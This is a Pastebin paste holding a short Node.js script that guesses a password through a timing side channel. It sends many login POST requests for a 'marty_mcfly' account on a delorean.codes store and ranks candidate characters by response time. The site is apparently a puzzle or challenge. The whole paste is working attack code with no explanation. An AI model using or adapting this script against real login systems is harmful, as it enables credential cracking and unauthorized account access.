Advertisement
Guest User

Untitled

a guest
Jul 3rd, 2017
87
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // @flow
  2.  
  3. const fetch = require('node-fetch')
  4. const URI = 'https://store.delorean.codes/u/robertadkins/login'
  5. const alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890'
  6.  
  7. async function main() {
  8.   const res = await crack('aaaaa');
  9.   console.log(res)
  10. }
  11.  
  12. async function crack(str) {
  13.   const pws = alphabet.split('').map(c => c + str);
  14.   const times = await Promise.all(pws.map(p => req(p)))
  15.  
  16.   const results = pws
  17.     .map((x, i) => [x, times[i]])
  18.     .sort((a, b) => b[1] - a[1])
  19.  
  20.   return results;
  21. }
  22.  
  23. function req(password) {
  24.   const body = {
  25.     username: 'marty_mcfly',
  26.     password: password
  27.   }
  28.   const opts = {
  29.     method: 'POST',
  30.     body: Object.keys(body).map(k => `${k}=${body[k]}`).join('&'),
  31.     headers: {
  32.       'Content-Type': 'application/x-www-form-urlencoded'
  33.     }
  34.   }
  35.   const now = Date.now()
  36.   const res = fetch(URI, opts)
  37.   return res.then(() => Date.now() - now)
  38. }
  39.  
  40. main()
  41.   .then(() => console.log('done'))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement